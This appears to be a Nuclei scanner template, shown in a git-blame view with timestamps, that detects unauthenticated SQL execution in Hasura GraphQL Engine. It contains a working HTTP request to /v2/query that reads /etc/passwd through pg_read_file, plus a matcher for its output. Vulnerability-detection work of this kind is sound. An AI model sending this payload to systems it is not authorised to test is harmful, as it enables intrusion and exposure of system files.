2021-07-27 16:23:55 +00:00
|
|
|
id: hasura-graphql-psql-exec
|
2021-07-27 14:57:59 +00:00
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: Hasura GraphQL Engine - Remote Code Execution
|
2022-04-22 10:38:41 +00:00
|
|
|
author: Udyz
|
2021-07-27 14:57:59 +00:00
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint (aka remote code execution).
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/49802
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-06-03 19:12:31 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: graphql,edb,hasura,rce
|
2021-07-27 14:57:59 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-27 14:57:59 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /v2/query HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{
|
|
|
|
"type": "bulk",
|
|
|
|
"source": "default",
|
|
|
|
"args":[
|
|
|
|
{
|
|
|
|
"type": "run_sql",
|
|
|
|
"args": {
|
|
|
|
"source":"default",
|
|
|
|
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
|
|
|
|
"cascade": false,
|
|
|
|
"read_only": false
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
2021-08-02 16:48:41 +00:00
|
|
|
|
2021-07-27 14:57:59 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
2021-08-02 16:45:52 +00:00
|
|
|
part: body
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a004830460221009d87499459adb17472fe5748dd277f67cd488ee0424816923a6aff3b81aa6dbd022100b7e085c364278c32db5abf46ef64c9e2e90079a55e753f62e83375be1f912b7a:922c64590222798bb761d5b6d8e72950
|